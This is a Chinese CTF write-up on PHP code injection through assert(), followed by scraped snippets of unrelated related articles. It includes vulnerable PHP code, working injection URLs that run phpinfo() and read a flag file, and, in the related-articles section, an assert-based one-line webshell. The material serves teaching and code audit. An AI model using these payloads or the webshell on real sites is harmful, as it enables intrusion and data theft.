assert引起的代码注射

源自一道ctf题

<?php

if (isset($_GET[‘page‘])) {
    $page = $_GET[‘page‘];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";
assert("strpos(‘$file‘, ‘..‘) === false") or die("傻了吧我的弟!");
assert("file_exists(‘$file‘)") or die("厉害了我的哥!");

?>
            <?php
                require_once $file;
            ?>

功能:1.page接收参数后组合成变量file。

   2.file经过滤..()防止目录遍历和判断文件是否存在

     3.包含文件

assert()简介:判断一个表达式是否成立。返回true or false。

当参数为字符串时,会被当作php代码执行。

例如 assert("phpinfo()")  <==>  <?phpinfo()?>

writeup:

通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码

构造: /?page=123%27)%20or%20phpinfo();%23

注意闭合‘  )  以及结尾;

关于此处的#:   #是单行注释,由assert("phpinfo()")  <==>  <?phpinfo()?>   可知,#的作用域仅仅是assert(函数内)

利用:/?page=123%27)%20or%20print_r(file_get_contents(%27templates/flag.php%27));%23

解释:file_get_contents把文件读入一个字符串中

最后,assert与eval的区别

assert把整个字符串参数当php代码执行,eval把合法的php代码执行。

时间: 2024-10-25 04:50:43

assert引起的代码注射的相关文章

Delphi 中ASSERT用法

http://blog.csdn.net/dongyonggan/article/details/5780979 用法:ASSERT(表达式) 如果为假,ASSERT会产生一个EASSERTIONFAiled异常,显示为 Assertion Failed (C:/src/unit1.pas, [size=+0]line 34) 如果不想再使用这些检查时,可以使用($ASSERTIONS OFF)或($C-)编译指令 要想使Assert在整个项目中失效, 关闭Project Options | C

Linux下c++程序内存泄漏检测代码范例

Linux下对于程序内存泄漏检测的方法很多,最常用的的莫过于使用valgrind工具.但是valgrind相当于让程序在虚拟机中运行,会带来较大的系统资源开销,还会对程序的运行效率产生较大影响,对于那种资源占用大的程序,如果需要长时间运行才能暴露的泄漏问题,它就显得不太好用. linux下的c++程序中自己实现一个轻量级的泄漏检测代码其实是比较方便的,下面我就给出一个简单的范例,并作简单的说明.当然,我们还是应该提倡使用共享指针,用共享指针自动管理内存可以避免内存泄漏这样的不必要的麻烦. 基本原

通过 C# 代码操作 Google 日历

原文:通过 C# 代码操作 Google 日历 本文主题 借助 Google .NET APIs Client Library,通过 C# 代码在 Google 日历中创建会议邀请. 本文背景 最近,Google 发布了 .NET APIs Client Library,终于可以方便地通过 .NET/C# 代码调用 Google 的 API. 而我们正好有这个需求,所以小试了一下.需求是这样的:通过调用 Google Calendar 的 API,自动创建每周例会的 Google 日历活动,邀请

编程精粹--编写高质量的C语言代码(2):自己设计并使用断言(一)

上一篇文章<<编程精粹--编写高质量C语言代码(1):假想编译程序>>中讲述了如何利用编译程序的所有警告设施以及lint程序等来更加容易地自动发现程序中的错误.但是即使使用编译程序提供的所有警告设施,编译程序所发现的错误,也只是程序错误中的一小部分.例如以下一行代码: strCopy=memecpy(malloc(length),str,length)); 当malloc 调用失败时,返回一个空指针,而memcpy如果没有处理空指针,程序就会出现错误.编译程序是无法查出这种或其他类

assert的实现和用法

assert很多时候到会用到,下面了解下assert的实现和用法 在C标准库中,assert的实现是用宏来实现的,并不是用函数,它在#include<assert.h>这标准C头文件 1.实现:宏assert是如何实现的呢?可以查看assert.h的代码,我查看的是mingw中的代码 #undef assert #ifdef __cplusplus extern "C" { #endif #ifdef NDEBUG /* * If not debugging, assert

assert(编程术语)

assert(编程术语) 编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式.断言表示为一些布尔表达式,程序员相信在程序中的某个特定点该表达式值为真.可以在任何时候启用和禁用断言验证,因此可以在测试时启用断言,而在部署时禁用断言.同样,程序投入运行后,最终用户在遇到问题时可以重新起用断言. 中文名 assert 前置条件断言 代码执行之前必须具备的特性 解    释 维护,坚持;主张拥有等 注    意 assert是宏,而不是函数 目录

WebShell代码分析溯源(二)

一.一句话变形马样本 <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> 二.代码分析 1.调整代码格式 2.分析代码,首先先把”assert”字符串复制给POST数组,然后又把POST数组array数组,调试代码,搭建php环境(这里使用phpstudy) 3.发现结果输出为assert 4.这样最终一句话变形马就变成这样: <?php assert($_POST['ass

2020/1/28 PHP代码审计之代码执行漏洞

0x00代码执行原理 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.passthru.popen.proc_popen等函数可以执行系统命令.当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞. 通常会使用escapeshellarg对参数进行处理,但在低版本的PHP库函数中该函数存在漏洞(原因:Windows上未对反斜杠进行过滤),需要注意. 0x01 挖掘思路 1:用户

PHP Code Reviewing Learning

相关学习资料 http://code-tech.diandian.com/post/2012-11-04/40042129192 http://ssv.sebug.net/高级PHP应用程序漏洞审核技术# http://80vul.com/ http://www.php-security.org/ 目录 1. 前言 2. 传统的代码审计技术 3. PHP版本与应用代码审计 4. 其他的因素与应用代码审计 5. 扩展我们的字典 5.1 变量本身的key 5.2 变量覆盖 5.2.1 遍历初始化变量